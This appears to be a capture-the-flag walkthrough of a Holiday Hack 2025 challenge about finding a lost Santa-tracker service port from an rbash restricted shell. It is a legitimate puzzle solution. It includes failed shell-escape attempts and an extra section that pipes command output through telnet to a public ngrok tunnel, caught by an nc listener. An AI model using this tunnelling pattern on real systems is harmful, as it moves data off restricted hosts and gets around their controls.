Holiday Hack 2025: Santa's Gift-Tracking Service Port Mystery
Introduction
Santa's Gift-Tracking Service Port Mystery
Difficulty:❅❅❅❅❅Yori is outside the apartment building:
Yori Kvitchko
Hi! I’m Yori.
I was Ed’s lost intern back in 2015, but I was found!
Think you can check out this terminal for me? I need to use cURL to access the gift tracker system, but it has me stumped.
Please see what you can do!
Chat with Yori Kvitchko
Congratulations! You spoke with Yori Kvitchko!
The terminal opens up a shell on a Linux host with instructions in the message of the day:
Solution
Find the Port
ss Arguments
The instructions say that there was a web service running on port 8080, but now it’s lost. To look at what ports on listening on a host, I’ll use ss with the following options:
-t- Display TCP sockets.-n- Do not try to resolve service names. Show exact bandwidth values, instead of human-readable.-l- Display only listening sockets (these are omitted by default).-p- Show process using socket. Note, this will typically only show when running as root or for processes owned by the current user.
ss is the updated version of the netstat command (which can give the same info with the same flags), but isn’t installed on this host.
Enumeration
I’ll run the command:
🎄 tinkerer @ Santa Tracker ~ 🎅 $ ss -tnlp
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 5 0.0.0.0:12321 0.0.0.0:*
There’s only one port in the listening state, and that’s something listening on 0.0.0.0:12321. I’m not able to see the process ID, so it must be running as a different user.
Aside About rbash
I can try to look at the running processes, but ps isn’t available:
🎄 tinkerer @ Santa Tracker ~ 🎅 $ ps
rbash: ps: command not found
I’ll notice that the error is from rbash, a restricted shell where the admin can configure it so that the shell is very locked down. My PATH variable is set to only run from the tools directory:
🎄 tinkerer @ Santa Tracker ~ 🎅 $ echo $PATH
/home/tinkerer/tools
🎄 tinkerer @ Santa Tracker ~ 🎅 $ export PATH=/bin:$PATH
rbash: PATH: readonly variable
I’m not able to edit it. That means I’m limited to these commands (plus the bash built-in commands):
🎄 tinkerer @ Santa Tracker ~ 🎅 $ ls tools/
cat clear curl grep ls ss telnet
All the typically Linux binaries are still in /bin, but I can’t run them:
🎄 tinkerer @ Santa Tracker ~ 🎅 $ /bin/bash
rbash: /bin/bash: restricted: cannot specify `/' in command names
I played a bit with trying to escape the rbash shell, but wasn’t able to.
Connect to Tracking Service
To solve the challenge, I need to use curl to connect to the service:
🎄 tinkerer @ Santa Tracker ~ 🎅 $ curl localhost:12321
{
"status": "success",
"message": "\ud83c\udf84 Ho Ho Ho! Santa Tracker Successfully Connected! \ud83c\udf84",
"santa_tracking_data": {
"timestamp": "2025-11-07 13:24:30",
"location": {
"name": "Snowflake Valley",
"latitude": 60.897521,
"longitude": -126.259633
},
"movement": {
"speed": "1070 mph",
"altitude": "29152 feet",
"heading": "283\u00b0 W"
},
"delivery_stats": {
"gifts_delivered": 8644901,
"cookies_eaten": 32593,
"milk_consumed": "2634 gallons",
"last_stop": "Jingle Bell Square",
"next_stop": "Holly Berry Hills",
"time_to_next_stop": "11 minutes"
},
"reindeer_status": {
"rudolph_nose_brightness": "92%",
"favorite_reindeer_joke": "How does Rudolph know when Christmas is coming? He looks at his calen-deer!",
"reindeer_snack_preference": "starlight oats"
},
"weather_conditions": {
"temperature": "-1\u00b0F",
"condition": "Light snowfall"
},
"special_note": "Thanks to your help finding the correct port, the neighborhood can now track Santa's arrival! The mischievous gnomes will be caught and will be put to work wrapping presents."
}
}
Outro
Santa's Gift-Tracking Service Port Mystery
Congratulations! You have completed the Santa’s Gift-Tracking Service Port Mystery challenge!
Yori loves it:
Yori Kvitchko
Great work - thank you!
Geez, maybe you can be my intern now!
Extra - Jokes!
In the response from the service, one of the pieces of data is the reindeer_status which has a favorite_reindeer_joke, and this seems to be different on different requests. Of course I want to see them all!
I’ll write a bash loop that makes 5 requests to the service:
🎄 tinkerer @ Santa Tracker ~ 🎅 $ for i in {1..5}; do curl localhost:12321 -s | grep joke; done
rbash: SHLVL: readonly variable
rbash: SHLVL: readonly variable
"favorite_reindeer_joke": "What do you call a reindeer with no eyes? No-eye-deer!",
rbash: SHLVL: readonly variable
rbash: SHLVL: readonly variable
"favorite_reindeer_joke": "How does Rudolph know when Christmas is coming? He looks at his calen-deer!",
rbash: SHLVL: readonly variable
rbash: SHLVL: readonly variable
"favorite_reindeer_joke": "Why don't reindeer like picnics? Because of all the ants!",
rbash: SHLVL: readonly variable
rbash: SHLVL: readonly variable
"favorite_reindeer_joke": "What do you call a reindeer with no eyes? No-eye-deer!",
rbash: SHLVL: readonly variable
rbash: SHLVL: readonly variable
"favorite_reindeer_joke": "How does Rudolph know when Christmas is coming? He looks at his calen-deer!",
It seems grep is trying to set the SHLVL environment variable (which is blocked by rbash). I’d like to use jq or even cut to get just the joke, but I can’t on this shell. But I do have telnet. I’ll run ngrok on my system, which is a free system that will create a listener out on the internet and forward traffic from it to my local machine. So I run ngrok tcp 9001 on my host:
ngrok
🧠 Call internal services from your gateway: https://ngrok.com/r/http-request
Session Status online
Account 0xdf (Plan: Free)
Version 3.32.0
Region United States (us)
Web Interface http://127.0.0.1:4040
Forwarding tcp://6.tcp.ngrok.io:13668 -> localhost:9001
Connections ttl opn rt1 rt5 p50 p90
0 0 0.00 0.00 0.00 0.00
Now anything sent to the TCP port 13668 on 6.tcp.ngrok.io will be forwarded to port 9001 on my host. I’ll listen with nc, and pipe the results to telnet:
🎄 tinkerer @ Santa Tracker ~ 🎅 $ for i in {1..5}; do curl localhost:12321 -s | grep joke ; done | telnet 6.tcp.ngrok.io 13668
rbash: SHLVL: readonly variable
rbash: SHLVL: readonly variable
rbash: SHLVL: readonly variable
Trying 3.149.225.127...
rbash: SHLVL: readonly variable
rbash: SHLVL: readonly variable
Connected to 6.tcp.ngrok.io.
Escape character is '^]'.
rbash: SHLVL: readonly variable
rbash: SHLVL: readonly variable
rbash: SHLVL: readonly variable
rbash: SHLVL: readonly variable
rbash: SHLVL: readonly variable
rbash: SHLVL: readonly variable
Connection closed by foreign host.
At my host:
$ nc -lvnp 9001
Listening on 0.0.0.0 9001
Connection received on 127.0.0.1 45472
"favorite_reindeer_joke": "What's Rudolph's favorite currency? Sleigh bells!",
"favorite_reindeer_joke": "How does Rudolph know when Christmas is coming? He looks at his calen-deer!",
"favorite_reindeer_joke": "How does Rudolph know when Christmas is coming? He looks at his calen-deer!",
"favorite_reindeer_joke": "What do you call a reindeer with no eyes? No-eye-deer!",
"favorite_reindeer_joke": "What's Rudolph's favorite currency? Sleigh bells!",
To get all the jokes, I’ll try up the count in my loop to 50, and run it again, updating how I handle the data on receiving it:
$ nc -lvnp 9001 | cut -d'"' -f4 | sort -u
Listening on 0.0.0.0 9001
Connection received on 127.0.0.1 53266
How does Rudolph know when Christmas is coming? He looks at his calen-deer!
What do you call a reindeer with no eyes? No-eye-deer!
What's Rudolph's favorite currency? Sleigh bells!
Why don't reindeer like picnics? Because of all the ants!
Looks like only four jokes (though some real bangers!).